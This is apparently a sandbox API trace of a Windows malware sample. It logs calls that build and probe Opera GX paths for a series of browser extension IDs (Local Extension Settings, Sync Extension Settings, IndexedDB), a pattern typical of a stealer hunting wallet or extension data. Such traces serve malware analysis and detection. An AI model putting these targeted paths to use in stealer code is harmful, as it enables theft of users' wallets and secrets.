[0052.728] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.728] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.728] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\cnmamaachppnkjgnildpdmkaakejnhae") returned 127
[0052.728] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\cnmamaachppnkjgnildpdmkaakejnhae\\CURRENT") returned 135
[0052.728] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\cnmamaachppnkjgnildpdmkaakejnhae") returned 126
[0052.728] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\cnmamaachppnkjgnildpdmkaakejnhae\\CURRENT") returned 134
[0052.728] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_cnmamaachppnkjgnildpdmkaakejnhae_0.indexeddb.leveldb") returned 149
[0052.728] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_cnmamaachppnkjgnildpdmkaakejnhae_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.728] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\cnmamaachppnkjgnildpdmkaakejnhae\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\cnmamaachppnkjgnildpdmkaakejnhae\\current")) returned 0xffffffff
[0052.728] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.728] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.728] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\jojhfeoedkpkglbfimdfabpdfjaoolaf") returned 127
[0052.728] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\jojhfeoedkpkglbfimdfabpdfjaoolaf\\CURRENT") returned 135
[0052.728] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\jojhfeoedkpkglbfimdfabpdfjaoolaf") returned 126
[0052.728] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\jojhfeoedkpkglbfimdfabpdfjaoolaf\\CURRENT") returned 134
[0052.728] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_jojhfeoedkpkglbfimdfabpdfjaoolaf_0.indexeddb.leveldb") returned 149
[0052.728] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_jojhfeoedkpkglbfimdfabpdfjaoolaf_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.728] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\jojhfeoedkpkglbfimdfabpdfjaoolaf\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\jojhfeoedkpkglbfimdfabpdfjaoolaf\\current")) returned 0xffffffff
[0052.728] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.728] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.728] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\flpiciilemghbmfalicajoolhkkenfel") returned 127
[0052.728] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\flpiciilemghbmfalicajoolhkkenfel\\CURRENT") returned 135
[0052.728] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\flpiciilemghbmfalicajoolhkkenfel") returned 126
[0052.728] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\flpiciilemghbmfalicajoolhkkenfel\\CURRENT") returned 134
[0052.728] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_flpiciilemghbmfalicajoolhkkenfel_0.indexeddb.leveldb") returned 149
[0052.728] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_flpiciilemghbmfalicajoolhkkenfel_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.729] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\flpiciilemghbmfalicajoolhkkenfel\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\flpiciilemghbmfalicajoolhkkenfel\\current")) returned 0xffffffff
[0052.729] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.729] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.729] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg") returned 127
[0052.729] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg\\CURRENT") returned 135
[0052.729] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\aeachknmefphepccionboohckonoeemg") returned 126
[0052.729] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\aeachknmefphepccionboohckonoeemg\\CURRENT") returned 134
[0052.729] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_aeachknmefphepccionboohckonoeemg_0.indexeddb.leveldb") returned 149
[0052.729] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_aeachknmefphepccionboohckonoeemg_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.729] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\aeachknmefphepccionboohckonoeemg\\current")) returned 0xffffffff
[0052.729] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.729] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.729] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk") returned 127
[0052.729] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk\\CURRENT") returned 135
[0052.729] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk") returned 126
[0052.729] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk\\CURRENT") returned 134
[0052.729] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_cgeeodpfagjceefieflmdfphplkenlfk_0.indexeddb.leveldb") returned 149
[0052.729] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_cgeeodpfagjceefieflmdfphplkenlfk_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.729] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\cgeeodpfagjceefieflmdfphplkenlfk\\current")) returned 0xffffffff
[0052.729] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.729] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.729] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk") returned 127
[0052.729] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk\\CURRENT") returned 135
[0052.729] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk") returned 126
[0052.729] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk\\CURRENT") returned 134
[0052.729] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_pdadjkfkgcafgbceimcpbkalnfnepbnk_0.indexeddb.leveldb") returned 149
[0052.729] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_pdadjkfkgcafgbceimcpbkalnfnepbnk_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.729] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\pdadjkfkgcafgbceimcpbkalnfnepbnk\\current")) returned 0xffffffff
[0052.730] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.730] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.730] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\imloifkgjagghnncjkhggdhalmcnfklk") returned 127
[0052.730] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\imloifkgjagghnncjkhggdhalmcnfklk\\CURRENT") returned 135
[0052.730] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\imloifkgjagghnncjkhggdhalmcnfklk") returned 126
[0052.730] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\imloifkgjagghnncjkhggdhalmcnfklk\\CURRENT") returned 134
[0052.730] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_imloifkgjagghnncjkhggdhalmcnfklk_0.indexeddb.leveldb") returned 149
[0052.730] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_imloifkgjagghnncjkhggdhalmcnfklk_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.730] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\imloifkgjagghnncjkhggdhalmcnfklk\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\imloifkgjagghnncjkhggdhalmcnfklk\\current")) returned 0xffffffff
[0052.730] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\imloifkgjagghnncjkhggdhalmcnfklk\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\sync extension settings\\imloifkgjagghnncjkhggdhalmcnfklk\\current")) returned 0xffffffff
[0052.730] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_imloifkgjagghnncjkhggdhalmcnfklk_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\indexeddb\\chrome-extension_imloifkgjagghnncjkhggdhalmcnfklk_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.730] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.730] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.730] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\acmacodkjbdgmoleebolmdjonilkdbch") returned 127
[0052.730] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\acmacodkjbdgmoleebolmdjonilkdbch\\CURRENT") returned 135
[0052.730] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\acmacodkjbdgmoleebolmdjonilkdbch") returned 126
[0052.730] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\acmacodkjbdgmoleebolmdjonilkdbch\\CURRENT") returned 134
[0052.730] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_acmacodkjbdgmoleebolmdjonilkdbch_0.indexeddb.leveldb") returned 149
[0052.730] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_acmacodkjbdgmoleebolmdjonilkdbch_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.730] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\acmacodkjbdgmoleebolmdjonilkdbch\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\acmacodkjbdgmoleebolmdjonilkdbch\\current")) returned 0xffffffff
[0052.730] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.730] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.730] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa") returned 127
[0052.730] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa\\CURRENT") returned 135
[0052.730] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa") returned 126
[0052.731] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa\\CURRENT") returned 134
[0052.731] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_bfnaelmomeimhlpmgjnjophhpkkoljpa_0.indexeddb.leveldb") returned 149
[0052.731] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_bfnaelmomeimhlpmgjnjophhpkkoljpa_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.731] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa\\current")) returned 0xffffffff
[0052.731] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.731] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.731] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm") returned 127
[0052.731] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm\\CURRENT") returned 135
[0052.731] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm") returned 126
[0052.731] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm\\CURRENT") returned 134
[0052.731] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_ejbalbakoplchlghecdalmeeeajnimhm_0.indexeddb.leveldb") returned 149
[0052.731] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_ejbalbakoplchlghecdalmeeeajnimhm_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.731] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\ejbalbakoplchlghecdalmeeeajnimhm\\current")) returned 0xffffffff
[0052.731] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.731] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.731] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\odbfpeeihdkbihmopkbjmoonfanlbfcl") returned 127
[0052.731] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\odbfpeeihdkbihmopkbjmoonfanlbfcl\\CURRENT") returned 135
[0052.731] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\odbfpeeihdkbihmopkbjmoonfanlbfcl") returned 126
[0052.731] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Sync Extension Settings\\odbfpeeihdkbihmopkbjmoonfanlbfcl\\CURRENT") returned 134
[0052.731] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_odbfpeeihdkbihmopkbjmoonfanlbfcl_0.indexeddb.leveldb") returned 149
[0052.731] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\IndexedDB\\chrome-extension_odbfpeeihdkbihmopkbjmoonfanlbfcl_0.indexeddb.leveldb\\CURRENT") returned 157
[0052.731] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\odbfpeeihdkbihmopkbjmoonfanlbfcl\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera gx stable\\local extension settings\\odbfpeeihdkbihmopkbjmoonfanlbfcl\\current")) returned 0xffffffff
[0052.731] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.731] lstrcatA (in: lpString1="", lpString2="Opera GX Stable" | out: lpString1="Opera GX Stable") returned="Opera GX Stable"
[0052.731] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh") returned 127
[0052.731] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera GX Stable\\Local Extension Settings\\fhilaheimglignddkjgofkcbgekhenbh\\CURRENT") returned 135
